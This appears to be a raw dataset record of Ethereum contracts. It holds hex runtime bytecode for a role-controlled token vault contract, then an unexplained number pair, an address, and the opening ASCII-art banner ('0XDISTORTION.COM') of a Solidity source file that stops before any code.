000000000000000000000000000000000000000000000000815233600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a082319060240160206040518083038186803b15801561193357600080fd5b505afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b91906145bb565b10156119d3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37320000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b336000908152600660205260409020600181015484906119f49087906148a6565b6119fe9190614936565b60018201556004548490611a139087906148a6565b611a1d9190614936565b6004554281556002810154600090633b9aca0090611a39612d82565b611a4391906148f9565b611a4d91906148be565b90508160010154811115611ac8576000611a708360010154836107e19190614936565b9050808360010154611a8291906148a6565b6001840155600454611a959082906148a6565b6004558015611ac257600054611ac29073ffffffffffffffffffffffffffffffffffffffff163383612f25565b50611b3c565b6000611ae7828460010154611add9190614936565b6107e989886148a6565b9050808360010154611af99190614936565b6001840155600454611b0c908290614936565b6004558015611b3a57600054611b3a9073ffffffffffffffffffffffffffffffffffffffff163330846138eb565b505b60018201546040805188815260208101889052908101869052606081019190915233907ff106b42df1ee4f4cdf6104dd274c895b074a7162dc67ce53c1de471237c2999c9060800160405180910390a28515611cf957603b54600090633b9aca0090611bca9074010000000000000000000000000000000000000000900467ffffffffffffffff16896148f9565b611bd491906148be565b603d5490915080611bfc5781603c6000828254611bf191906148a6565b90915550611c459050565b818111611c2d57611c0d8183614936565b603c6000828254611c1e91906148a6565b90915550506000603d55611c45565b81603d6000828254611c3f9190614936565b90915550505b60025473ffffffffffffffffffffffffffffffffffffffff1663087264c9611c6d848b614936565b6040518263ffffffff1660e01b8152600401611c8b91815260200190565b600060405180830381600087803b158015611ca557600080fd5b505af1158015611cb9573d6000803e3d6000fd5b505050507f8959421a1320789a49eeec01a4750caf8a30733c3db14f000d84484df89300f988604051611cee91815260200190565b60405180910390a150505b8415610dec57603b54600090633b9aca0090611d379074010000000000000000000000000000000000000000900467ffffffffffffffff16886148f9565b611d4191906148be565b603c5490915080821115611d7a576000603c55611d5e8183614936565b603d6000828254611d6f91906148a6565b90915550611d929050565b81603c6000828254611d8c9190614936565b90915550505b60025473ffffffffffffffffffffffffffffffffffffffff1663252c9406611dba848a614936565b6040518263ffffffff1660e01b8152600401611dd891815260200190565b600060405180830381600087803b158015611df257600080fd5b505af1158015611e06573d6000803e3d6000fd5b505050505050505050505050565b60078181548110611e2457600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b7f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b53611e768133612e53565b610eba8261322c565b7f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a5041611eaa8133612e53565b73ffffffffffffffffffffffffffffffffffffffff831660009081526006602052604090208054611f37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37380000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b6040517f2e1a7d4d0000000000000000000000000000000000000000000000000000000081526004810184905260009073ffffffffffffffffffffffffffffffffffffffff861690632e1a7d4d906024016040805180830381600087803b158015611fa157600080fd5b505af1158015611fb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd991906145d4565b600184015491955091508490611ff0908390614936565b611ffa9190614936565b6001830155600454849061200f908390614936565b6120199190614936565b60045573ffffffffffffffffffffffffffffffffffffffff85167ff106b42df1ee4f4cdf6104dd274c895b074a7162dc67ce53c1de471237c2999c6000836120618189614936565b600187015460408051948552602085019390935291830152606082015260800160405180910390a28015612114576002546040517f252c94060000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff9091169063252c940690602401600060405180830381600087803b1580156120fb57600080fd5b505af115801561210f573d6000803e3d6000fd5b505050505b5050505050565b7f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a50416121468133612e53565b73ffffffffffffffffffffffffffffffffffffffff821660009081526006602052604090206002810154156121d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37370000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b600181015415612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37370000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b600754815415801590612257575060018110155b6122bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37380000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b60005b6122cb600183614936565b8110156123d9578473ffffffffffffffffffffffffffffffffffffffff16600782815481106122fc576122fc614a45565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff1614156123c7576007612331600184614936565b8154811061234157612341614a45565b6000918252602090912001546007805473ffffffffffffffffffffffffffffffffffffffff909216918390811061237a5761237a614a45565b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506123d9565b806123d1816149ae565b9150506122c0565b5060078054806123eb576123eb614a16565b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590558160020154600560008282546124369190614936565b909155505073ffffffffffffffffffffffffffffffffffffffff8416600090815260066020526040812081815560018101829055600201556124987f928286c473ded01ff8bf61a1986f14a0579066072fa8261442d9fea514d93a4c856136b4565b60405173ffffffffffffffffffffffffffffffffffffffff8516907f4201c688d84c01154d321afa0c72f1bffe9eef53005c9de9d035074e71e9b32a90600090a250505050565b33600090815260066020526040812060028101548290633b9aca0090612503612d82565b61250d91906148f9565b61251791906148be565b9050816001015481111561252e5760009250505090565b8082600101546107ee9190614936565b7f7935bd0ae54bc31f548c14dba4d37c5c64b3f8ca900cb468fb8abd54d5894f556125698133612e53565b8273ffffffffffffffffffffffffffffffffffffffff81166125e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600160248201527f30000000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600660205260409020805415612675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37330000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b8473ffffffffffffffffffffffffffffffffffffffff1663dc4c90d36040518163ffffffff1660e01b815260040160206040518083038186803b1580156126bb57600080fd5b505afa1580156126cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126f39190614253565b73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff1614612787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37340000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b8473ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b1580156127cd57600080fd5b505afa1580156127e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128059190614253565b60005473ffffffffffffffffffffffffffffffffffffffff908116911614612889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37350000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b633b9aca008460055461289c91906148a6565b1115612904576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37360000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b6001808255600090820155600281018490556129407f928286c473ded01ff8bf61a1986f14a0579066072fa8261442d9fea514d93a4c86612ff9565b836005600082825461295291906148a6565b909155505060055460405190815273ffffffffffffffffffffffffffffffffffffffff8616907f2f564a83158ad1831793ad3e69257b52f39ece5d49cb0d8746708ecb9ef964da9060200160405180910390a25050600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff94909416939093179092555050565b600082815260096020526040902060010154612a3d8133612e53565b610cf583836136b4565b7f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b53612a728133612e53565b6001805473ffffffffffffffffffffffffffffffffffffffff8087167fffffffffffffffffffffffff000000000000000000000000000000000000000092831617909255600380549286169290911691909117905560005b8651811015612b5e57612b167f7935bd0ae54bc31f548c14dba4d37c5c64b3f8ca900cb468fb8abd54d5894f55888381518110612b0957612b09614a45565b6020026020010151612ff9565b612b4c7f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a5041888381518110612b0957612b09614a45565b80612b56816149ae565b915050612aca565b50612b897f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a504186612ff9565b6001546040517fb126e7e500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063b126e7e590612be590899089908890889060040161476f565b600060405180830381600087803b158015612bff57600080fd5b505af1158015612c13573d6000803e3d6000fd5b50506040517f8d40452700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86169250638d4045279150612c6d9089908990899060040161472f565b600060405180830381600087803b158015612c8757600080fd5b505af1158015612c9b573d6000803e3d6000fd5b5050600254600054612ce9935073ffffffffffffffffffffffffffffffffffffffff9081169250167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61394f565b600054610dec9073ffffffffffffffffffffffffffffffffffffffff16857fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61394f565b7f42e87691d7920cf38a77ca8920f5a4c84f1b5ae359a91577fea4018facdd7b53612d588133612e53565b611e767f7935bd0ae54bc31f548c14dba4d37c5c64b3f8ca900cb468fb8abd54d5894f55836136b4565b6000600454612d8f612d99565b610ba791906148a6565b600080546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a082319060240160206040518083038186803b158015612e0357600080fd5b505afa158015612e17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba791906145bb565b6000818310612e4a5781612e4c565b825b9392505050565b600082815260096020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16610eba57612eab8173ffffffffffffffffffffffffffffffffffffffff166014613a5c565b612eb6836020613a5c565b604051602001612ec79291906146ae565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0818403018152908290527f08c379a0000000000000000000000000000000000000000000000000000000008252610ad8916004016147b8565b60405173ffffffffffffffffffffffffffffffffffffffff8316602482015260448101829052610cf59084907fa9059cbb00000000000000000000000000000000000000000000000000000000906064015b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152613c9f565b600082815260096020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff16610eba57600082815260096020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516808552925280832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905551339285917f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d9190a45050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526006602052604090208054613143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37380000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b80600201548260055461315691906148a6565b6131609190614936565b6005819055633b9aca0010156131d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600260248201527f37360000000000000000000000000000000000000000000000000000000000006044820152606401610ad8565b6002810182905560055460405190815273ffffffffffffffffffffffffffffffffffffffff8416907f2f564a83158ad1831793ad3e69257b52f39ece5d49cb0d8746708ecb9ef964da9060200160405180910390a2505050565b6132567f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a5041826136b4565b6001546040517fd547741f0000000000000000000000000000000000000000000000000000000081527f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a5041600482015273ffffffffffffffffffffffffffffffffffffffff83811660248301529091169063d547741f90604401600060405180830381600087803b1580156132e957600080fd5b505af11580156132fd573d6000803e3d6000fd5b50506003546040517fd547741f0000000000000000000000000000000000000000000000000000000081527f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a5041600482015273ffffffffffffffffffffffffffffffffffffffff8581166024830152909116925063d547741f9150604401600060405180830381600087803b15801561339457600080fd5b505af11580156133a8573d6000803e3d6000fd5b50506007549150600090505b81811015610cf557600781815481106133cf576133cf614a45565b6000918252602090912001546040517faf648c3d00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301529091169063af648c3d90602401600060405180830381600087803b15801561344557600080fd5b505af1158015613459573d6000803e3d6000fd5b505050508080613468906149ae565b9150506133b4565b61349a7f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a504182612ff9565b6001546040517f2f2ff15d0000000000000000000000000000000000000000000000000000000081527f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a5041600482015273ffffffffffffffffffffffffffffffffffffffff838116602483015290911690632f2ff15d90604401600060405180830381600087803b15801561352d57600080fd5b505af1158015613541573d6000803e3d6000fd5b50506003546040517f2f2ff15d0000000000000000000000000000000000000000000000000000000081527f55435dd261a4b9b3364963f7738a7a662ad9c84396d64be3365284bb7f0a5041600482015273ffffffffffffffffffffffffffffffffffffffff85811660248301529091169250632f2ff15d9150604401600060405180830381600087803b1580156135d857600080fd5b505af11580156135ec573d6000803e3d6000fd5b50506007549150600090505b81811015610cf5576007818154811061361357613613614a45565b6000918252602090912001546040517fa526d83b00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85811660048301529091169063a526d83b90602401600060405180830381600087803b15801561368957600080fd5b505af115801561369d573d6000803e3d6000fd5b5050505080806136ac906149ae565b9150506135f8565b600082815260096020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516845290915290205460ff1615610eba57600082815260096020908152604080832073ffffffffffffffffffffffffffffffffffffffff8516808552925280832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600854610100900460ff1680613788575060085460ff16155b613814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610ad8565b600854610100900460ff1615801561385357600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000166101011790555b61385b613dab565b801561388a57600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1690555b50565b610eba8282612ff9565b600082815260096020526040902060010154819060405184907fbd79b86ffe0ab8e8776151514217cd7cacd52c909f66475c3af44e129f0b00ff90600090a460009182526009602052604090912060010155565b60405173ffffffffffffffffffffffffffffffffffffffff808516602483015283166044820152606481018290526139499085907f23b872dd0000000000000000000000000000000000000000000000000000000090608401612f77565b50505050565b6040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff8381166024830152600091839186169063dd62ed3e9060440160206040518083038186803b1580156139c157600080fd5b505afa1580156139d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139f991906145bb565b613a0391906148a6565b60405173ffffffffffffffffffffffffffffffffffffffff85166024820152604481018290529091506139499085907f095ea7b30000000000000000000000000000000000000000000000000000000090606401612f77565b60606000613a6b8360026148f9565b613a769060026148a6565b67ffffffffffffffff811115613a8e57613a8e614a74565b6040519080825280601f01601f191660200182016040528015613ab8576020820181803683370190505b5090507f300000000000000000000000000000000000000000000000000000000000000081600081518110613aef57613aef614a45565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f780000000000000000000000000000000000000000000000000000000000000081600181518110613b5257613b52614a45565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506000613b8e8460026148f9565b613b999060016148a6565b90505b6001811115613c36577f303132333435363738396162636465660000000000000000000000000000000085600f1660108110613bda57613bda614a45565b1a60f81b828281518110613bf057613bf0614a45565b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535060049490941c93613c2f81614979565b9050613b9c565b508315612e4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610ad8565b6000613d01826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16613ebf9092919063ffffffff16565b805190915015610cf55780806020019051810190613d1f91906143fb565b610cf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610ad8565b600854610100900460ff1680613dc4575060085460ff16155b613e50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610ad8565b600854610100900460ff1615801561385b57600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000016610101179055801561388a57600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16905550565b6060613ece8484600085613ed6565b949350505050565b606082471015613f68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610ad8565b843b613fd0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610ad8565b6000808673ffffffffffffffffffffffffffffffffffffffff168587604051613ff99190614692565b60006040518083038185875af1925050503d8060008114614036576040519150601f19603f3d011682016040523d82523d6000602084013e61403b565b606091505b509150915061404b828286614056565b979650505050505050565b60608315614065575081612e4c565b8251156140755782518084602001fd5b816040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad891906147b8565b80356140b481614aa3565b919050565b600082601f8301126140ca57600080fd5b815160206140df6140da83614882565b614833565b80838252828201915082860187848660051b89010111156140ff57600080fd5b60005b8581101561412757815161411581614ac5565b84529284019290840190600101614102565b5090979650505050505050565b6000610100828403121561414757600080fd5b61414f614809565b9050815167ffffffffffffffff8082111561416957600080fd5b614175858386016140b9565b8352602084015191508082111561418b57600080fd5b614197858386016140b9565b602084015260408401519150808211156141b057600080fd5b6141bc858386016140b9565b604084015260608401519150808211156141d557600080fd5b506141e2848285016140b9565b6060830152506141f46080830161422b565b608082015261420560a0830161422b565b60a082015261421660c0830161422b565b60c082015260e082015160e082015292915050565b80516140b481614ac5565b60006020828403121561424857600080fd5b8135612e4c81614aa3565b60006020828403121561426557600080fd5b8151612e4c81614aa3565b6000806040838503121561428357600080fd5b823561428e81614aa3565b9150602083013561429e81614aa3565b809150509250929050565b6000806000606084860312156142be57600080fd5b83356142c981614aa3565b925060208401356142d981614aa3565b929592945050506040919091013590565b600080604083850312156142fd57600080fd5b823561430881614aa3565b946020939093013593505050565b600080600080600060a0868803121561432e57600080fd5b853567ffffffffffffffff81111561434557600080fd5b8601601f8101881361435657600080fd5b803560206143666140da83614882565b8083825282820191508285018c848660051b880101111561438657600080fd5b600095505b848610156143b257803561439e81614aa3565b83526001959095019491830191830161438b565b5098506143c290508982016140a9565b96505050506143d3604087016140a9565b92506143e1606087016140a9565b91506143ef608087016140a9565b90509295509295909350565b60006020828403121561440d57600080fd5b81518015158114612e4c57600080fd5b60006020828403121561442f57600080fd5b5035919050565b6000806040838503121561444957600080fd5b82359150602083013561429e81614aa3565b6000806000806000806000806000898b0361020081121561447b57600080fd5b8a5161448681614aa3565b60208c0151909a5061449781614aa3565b60408c01519099506144a881614aa3565b60608c01519098506144b981614aa3565b8097505060808b0151955060a08b0151945060c08b01519350610100807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff208301121561450457600080fd5b61450c614809565b915060e08c01518252808c01516020830152506101208b015160408201526101408b015160608201526101608b015161454481614ac5565b60808201526101808b015161455881614ac5565b60a082015261456a6101a08c0161422b565b60c082015261457c6101c08c0161422b565b60e08201526101e08b015190925067ffffffffffffffff81111561459f57600080fd5b6145ab8c828d01614134565b9150509295985092959850929598565b6000602082840312156145cd57600080fd5b5051919050565b600080604083850312156145e757600080fd5b505080516020909101519092909150565b60008060006060848603121561460d57600080fd5b505081359360208301359350604090920135919050565b60006020828403121561463657600080fd5b8135612e4c81614ac5565b600081518084526020808501945080840160005b8381101561468757815173ffffffffffffffffffffffffffffffffffffffff1687529582019590820190600101614655565b509495945050505050565b600082516146a481846020870161494d565b9190910192915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008152600083516146e681601785016020880161494d565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000601791840191820152835161472381602884016020880161494d565b01602801949350505050565b6060815260006147426060830186614641565b73ffffffffffffffffffffffffffffffffffffffff94851660208401529290931660409091015292915050565b6080815260006147826080830187614641565b73ffffffffffffffffffffffffffffffffffffffff95861660208401529385166040830152509216606090920191909152919050565b60208152600082518060208401526147d781604085016020870161494d565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b604051610100810167ffffffffffffffff8111828210171561482d5761482d614a74565b60405290565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff8111828210171561487a5761487a614a74565b604052919050565b600067ffffffffffffffff82111561489c5761489c614a74565b5060051b60200190565b600082198211156148b9576148b96149e7565b500190565b6000826148f4577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614931576149316149e7565b500290565b600082821015614948576149486149e7565b500390565b60005b83811015614968578181015183820152602001614950565b838111156139495750506000910152565b600081614988576149886149e7565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156149e0576149e06149e7565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff8116811461388a57600080fd5b67ffffffffffffffff8116811461388a57600080fdfea264697066735822122043e08a6653b827e0baa057c6f4def796677dbd170d546615b605cc99b8549da464736f6c63430008070033
[ 7, 12 ]
0xf3821adaceb6500c0a202971aecf840a033f236b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@&@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@&@@&@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@&&@@@@@@@ @@@@@@@@@@@@@@&@@&@@&@&&&@&@&@@&&@@@&@&&&%@@@@@&@@@@&&&@@@@&&@&&@@&@@@&%&&&@@@@@@@@@@@@@ @@@@@@@@@@@&@&%@@&@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@&@@@@@@@@@&@@@@@@@@@@@@@ @@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@&@@@@@@ @@@@@@@@@@@@@&@@@&@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&@@@@@@@@@ @@@@@@@@@@@@@&&@&&@@@@@&&@@@@&%@@&@&@@&@&&@@&&&@@&@%@&@%@@&@@%@&&@@@&@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@&@@%@@&@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@&@@&@@&@@@@@@@@@@@@@ @@@@@@@@@@&@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@&@&&@@&@@@@@@@@@@@@@@@@ @@@@@@@@@@@&@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@&@@@@@@@@@&@@@@@@@@@@@@@ @@@@@@&@@@@&@@&@@@@@@@@&@@@@@@&@@@@@@@@@@&&&&@@&@@@@@@@@@@@@@@@@%@@@@@@@@@&@@@@@@&@@@@@@ @@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&&&@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@&@@@@@@&@@@@@@@@@@@@@&&&&&&&@&@&@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@&@@@@@@ @@@@@@@@@@@@@@&@@@@@@@@@%@@@@@@@@@@@&&&&&@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@&@@&@@@@@@@@@%@@@@&@@@@@&&@@@@@@@@@@@@@@@@@@@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@&@@@@@@@@@&@@@@@@@@@@@@&@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@&@@@%@@@@@@ @@@@@@@&@@@&@@%@@&@@@@@@&@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@&@@&@@@&@&@@@@@@@ @@@@@@@@@@@@@@&@@&@@@@@@&@@@@@@@@@@@@@&&&&@&@@@@@@@@@@@@@@@@@@@@@@@@%@@@@@@@@@&@@@@@@@@@ @@@@@@&@@@@@&@@@@@&@@@@&@@@@@@@@@@@@@@@@&&&&&@&@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@&@@@@@@@ @@@@@@@&@@@@@@&@&@@&@@@&&@@@@@@@@@@@@@@@@@&&&@@@@@@@@@@@@@@@@@@@@@@@@@&@@@&@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@&&@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@&@@@@@@@@@@@@@@@&@@&@@@@&@@@@@@@@ @@@@@@@@@@@@@@@@@&@@@@@&%@@@@&@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@&@@@@@@ @@@@@@@@@@@@@@@@@@@@&@@&@&@@@&@@@%&@@%@@@&&@@@@@@&@@&&@@@&%&&&@&&@@@@@@@@@&@@@&@&@@@@@@@ @@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@&@@@@@@@@@@@&@@@@@@ @@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@&@@@@@&@@@@@@@ @@@@@@@@@@@&@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@&@@@&@@@&&&&@&&@@&&&&@@@@%@&&&&%&&@%@@@&@&@@@&%@@%&&&&@&&&&&@@&&@@%&@@@@@@@@@@@@@ @@@@@@@@@@@@@@&@@@@@@&@@@@@&@@@@@@@@@@@@&@@@@@&@@@&@@@@@@@@@@@@@@@@@&@@&@&@@@@@@&@@@@@@@ @@@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 0XDISTORTION.COM 